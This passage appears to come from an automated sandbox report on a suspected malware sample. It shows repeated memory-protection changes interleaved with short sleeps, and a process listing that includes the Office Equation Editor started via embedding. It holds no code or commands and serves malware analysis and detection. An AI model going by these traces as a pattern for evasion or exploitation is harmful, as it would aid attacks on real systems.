OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.457] Sleep (dwMilliseconds=0x5) [0163.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.498] Sleep (dwMilliseconds=0x5) [0163.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.547] Sleep (dwMilliseconds=0x5) [0163.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.594] Sleep (dwMilliseconds=0x5) [0163.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.622] Sleep (dwMilliseconds=0x5) [0163.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.684] Sleep (dwMilliseconds=0x5) [0163.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.733] Sleep (dwMilliseconds=0x5) [0163.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.779] Sleep (dwMilliseconds=0x5) [0163.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.828] Sleep (dwMilliseconds=0x5) [0163.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.874] Sleep (dwMilliseconds=0x5) [0163.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.921] Sleep (dwMilliseconds=0x5) [0163.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0163.966] Sleep (dwMilliseconds=0x5) [0164.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0164.014] Sleep (dwMilliseconds=0x5) [0164.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0164.062] Sleep (dwMilliseconds=0x5) [0164.075] Sleep (dwMilliseconds=0x5) [0164.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0164.125] Sleep (dwMilliseconds=0x5) [0164.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0164.160] Sleep (dwMilliseconds=0x5) [0164.182] Sleep (dwMilliseconds=0x5) [0164.184] Sleep (dwMilliseconds=0x5) [0164.230] Sleep (dwMilliseconds=0x5) [0164.325] Sleep (dwMilliseconds=0x5) [0164.403] Sleep (dwMilliseconds=0x5) [0164.481] Sleep (dwMilliseconds=0x5) [0164.527] Sleep (dwMilliseconds=0x5) [0164.590] Sleep (dwMilliseconds=0x5) [0164.638] Sleep (dwMilliseconds=0x5) [0164.685] Sleep (dwMilliseconds=0x5) [0164.808] Sleep (dwMilliseconds=0x5) [0164.856] Sleep (dwMilliseconds=0x5) [0164.904] Sleep (dwMilliseconds=0x5) [0164.949] Sleep (dwMilliseconds=0x5) [0165.136] Sleep (dwMilliseconds=0x5) [0165.232] Sleep (dwMilliseconds=0x5) [0165.278] Sleep (dwMilliseconds=0x5) [0165.325] Sleep (dwMilliseconds=0x5) [0165.375] Sleep (dwMilliseconds=0x5) [0165.452] Sleep (dwMilliseconds=0x5) [0165.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.486] Sleep (dwMilliseconds=0x5) [0165.495] Sleep (dwMilliseconds=0x5) [0165.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.546] Sleep (dwMilliseconds=0x5) [0165.572] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.574] Sleep (dwMilliseconds=0x5) [0165.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.591] Sleep (dwMilliseconds=0x5) [0165.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.637] Sleep (dwMilliseconds=0x5) [0165.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.685] Sleep (dwMilliseconds=0x5) [0165.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.731] Sleep (dwMilliseconds=0x5) [0165.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.777] Sleep (dwMilliseconds=0x5) [0165.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.805] Sleep (dwMilliseconds=0x5) [0165.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.825] Sleep (dwMilliseconds=0x5) [0165.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.842] Sleep (dwMilliseconds=0x5) [0165.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.870] Sleep (dwMilliseconds=0x5) [0165.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.919] Sleep (dwMilliseconds=0x5) [0165.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.988] Sleep (dwMilliseconds=0x5) [0166.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.026] Sleep (dwMilliseconds=0x5) [0166.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.052] Sleep (dwMilliseconds=0x5) [0166.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.073] Sleep (dwMilliseconds=0x5) [0166.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.089] Sleep (dwMilliseconds=0x5) [0166.103] Sleep (dwMilliseconds=0x5) [0166.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.136] Sleep (dwMilliseconds=0x5) [0166.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.171] Sleep (dwMilliseconds=0x5) [0166.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.183] Sleep (dwMilliseconds=0x5) [0166.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.198] Sleep (dwMilliseconds=0x5) [0166.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.219] Sleep (dwMilliseconds=0x5) [0166.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.230] Sleep (dwMilliseconds=0x5) [0166.244] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.246] Sleep (dwMilliseconds=0x5) [0166.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.263] Sleep (dwMilliseconds=0x5) [0166.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.278] Sleep (dwMilliseconds=0x5) [0166.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.307] Sleep (dwMilliseconds=0x5) [0166.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.323] Sleep (dwMilliseconds=0x5) [0166.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.339] Sleep (dwMilliseconds=0x5) [0166.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.354] Sleep (dwMilliseconds=0x5) [0166.399] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.401] Sleep (dwMilliseconds=0x5) [0166.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.442] Sleep (dwMilliseconds=0x5) [0166.456] Sleep (dwMilliseconds=0x5) [0166.462] Sleep (dwMilliseconds=0x5) [0166.479] Sleep (dwMilliseconds=0x5) [0166.493] Sleep (dwMilliseconds=0x5) [0166.509] Sleep (dwMilliseconds=0x5) [0166.525] Sleep (dwMilliseconds=0x5) [0166.541] Sleep (dwMilliseconds=0x5) [0166.642] Sleep (dwMilliseconds=0x5) [0166.649] Sleep (dwMilliseconds=0x5) [0166.666] Sleep (dwMilliseconds=0x5) [0166.680] Sleep (dwMilliseconds=0x5) [0166.697] Sleep (dwMilliseconds=0x5) [0166.712] Sleep (dwMilliseconds=0x5) [0166.744] Sleep (dwMilliseconds=0x5) [0166.760] Sleep (dwMilliseconds=0x5) [0166.774] Sleep (dwMilliseconds=0x5) [0166.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.826] Sleep (dwMilliseconds=0x5) [0166.853] Sleep (dwMilliseconds=0x5) [0166.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.900] Sleep (dwMilliseconds=0x5) [0166.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0166.918] Sleep (dwMilliseconds=0x5) [0166.931] Sleep (dwMilliseconds=0x5) [0170.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0170.224] Sleep (dwMilliseconds=0x5) [0170.281] Sleep (dwMilliseconds=0x5) [0170.292] Sleep (dwMilliseconds=0x5) [0170.299] Sleep (dwMilliseconds=0x5) [0170.316] Sleep (dwMilliseconds=0x5) [0170.349] Sleep (dwMilliseconds=0x5) [0170.362] Sleep (dwMilliseconds=0x5) [0170.380] Sleep (dwMilliseconds=0x5) [0170.393] Sleep (dwMilliseconds=0x5) [0170.410] Sleep (dwMilliseconds=0x5) [0170.426] Sleep (dwMilliseconds=0x5) [0170.440] Sleep (dwMilliseconds=0x5) [0170.456] Sleep (dwMilliseconds=0x5) [0170.471] Sleep (dwMilliseconds=0x5) [0170.487] Sleep (dwMilliseconds=0x5) [0170.503] Sleep (dwMilliseconds=0x5) [0170.518] Sleep (dwMilliseconds=0x5) [0170.534] Sleep (dwMilliseconds=0x5) [0170.554] Sleep (dwMilliseconds=0x5) [0170.565] Sleep (dwMilliseconds=0x5) [0170.581] Sleep (dwMilliseconds=0x5) [0170.596] Sleep (dwMilliseconds=0x5) [0170.611] Sleep (dwMilliseconds=0x5) [0170.628] Sleep (dwMilliseconds=0x5) [0170.649] Sleep (dwMilliseconds=0x5) [0170.722] Sleep (dwMilliseconds=0x5) [0170.741] Sleep (dwMilliseconds=0x5) [0170.754] Sleep (dwMilliseconds=0x5) [0171.410] Sleep (dwMilliseconds=0x5) Thread: id = 124 os_tid = 0xe74 Process: id = "6" image_name = "eqnedt32.exe" filename = "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe" page_root = "0x28973000" os_pid = "0xd88" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x250" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE\" -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 53 os_tid = 0xd8c Thread: id = 54 os_tid = 0xd90 Thread: id = 55 os_tid = 0xd98 Thread: id = 56 os_tid = 0xd9c Thread: id = 57 os_tid = 0xda0 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x76927000" os_pid = "0x364" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 66 os_tid = 0xdac Thread: id = 67 os_tid = 0xd68 Thread: id = 68 os_tid = 0xd3c Thread: id = 69 os_tid = 0xc8c Thread: id = 70 os_tid = 0xc4c Thread: id = 71 os_tid = 0xb38 Thread: id = 72 os_tid = 0x5f4 Thread: id = 73 os_tid = 0xb20 Thread: id = 74 os_tid = 0xb54 Thread: id = 75 os_tid = 0x42c Thread: id = 76 os_tid = 0x788 Thread: id = 77 os_tid = 0x734 Thread: id = 78 os_tid = 0x130 Thread: id = 79 os_tid = 0x6fc Thread: id = 80 os_tid = 0x6e8 Thread: id = 81 os_tid = 0x6dc Thread: id = 82 os_tid = 0x6d0 Thread: id = 83 os_tid = 0x6c8 Thread: id = 84 os_tid = 0x6b4 Thread: id = 85 os_tid = 0x49c Thread: id = 86 os_tid = 0x450 Thread: id = 87 os_tid = 0x444 Thread: id = 88 os_tid = 0x424 Thread: id = 89 os_tid = 0x41c Thread: id = 90 os_tid = 0x404 Thread: id = 91 os_tid = 0x154 Thread: id = 92 os_tid = 0x3f4 Thread: id = 93 os_tid = 0x3e8 Thread: id = 94 os_tid = 0x3dc Thread: id = 95 os_tid = 0x390 Thread: id = 96 os_tid = 0x384 Thread: id = 97 os_tid = 0x370 Thread: id = 98 os_tid = 0x368 Thread: id = 99 os_tid = 0xdd4 Thread: id = 100 os_tid = 0xdd8 Thread: id = 101 os_tid = 0xddc Thread: id = 188 os_tid = 0xfd4 Thread: id = 194 os_tid = 0xff8 Thread: id = 195 os_tid = 0xc3c Thread: id = 196 os_tid = 0x78c Thread: id = 197 os_tid = 0x798 Thread: id = 198 os_tid = 0xc54 